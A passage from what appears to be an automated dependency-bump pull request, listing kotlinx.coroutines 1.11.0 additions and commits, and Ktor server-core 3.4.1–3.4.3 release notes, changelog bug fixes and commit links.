href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/8564f65764d3d05893cec026c6e94250e2b23874\"\u003e\u003ccode\u003e8564f65\u003c/code\u003e\u003c/a\u003e Version 1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/a4c6af96c15fe30f5d4e8b810ea74f8babd5805c\"\u003e\u003ccode\u003ea4c6af9\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/ef917b460aa741691fbf991ee1b813049cae18c9\"\u003e\u003ccode\u003eef917b4\u003c/code\u003e\u003c/a\u003e KT-84955: mark apple x64 tagets as deprecated error (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4645\"\u003e#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/5ebc421e341bf2ddce734d369da87df1985e80bd\"\u003e\u003ccode\u003e5ebc421\u003c/code\u003e\u003c/a\u003e Update the release procedure description (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4670\"\u003e#4670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/95f46a073bc4a1230352108cea1835fd22219a80\"\u003e\u003ccode\u003e95f46a0\u003c/code\u003e\u003c/a\u003e Remove old maven repository settings (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4672\"\u003e#4672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/b4f4f0aa6acb692f3fbcadd70e4958e3e9d370fc\"\u003e\u003ccode\u003eb4f4f0a\u003c/code\u003e\u003c/a\u003e Fix package name of \u003ccode\u003eToMapCollectionSamplesTest\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4674\"\u003e#4674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/86738dca7dc9ac82249abc8206263fa0065ee631\"\u003e\u003ccode\u003e86738dc\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4654\"\u003e#4654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/330fcc221fb583f0b119f34191f735a73b827378\"\u003e\u003ccode\u003e330fcc2\u003c/code\u003e\u003c/a\u003e Version 1.11.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/e31cef6e9f2d26794be7d75ecbf3033b6432d582\"\u003e\u003ccode\u003ee31cef6\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/dc6e9f61eaf3a67f4bf474a7987aedc3f16cef37\"\u003e\u003ccode\u003edc6e9f6\u003c/code\u003e\u003c/a\u003e Restore Promise-related functions on Wasm/JS as HIDDEN (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/compare/1.10.2...1.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-core` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare 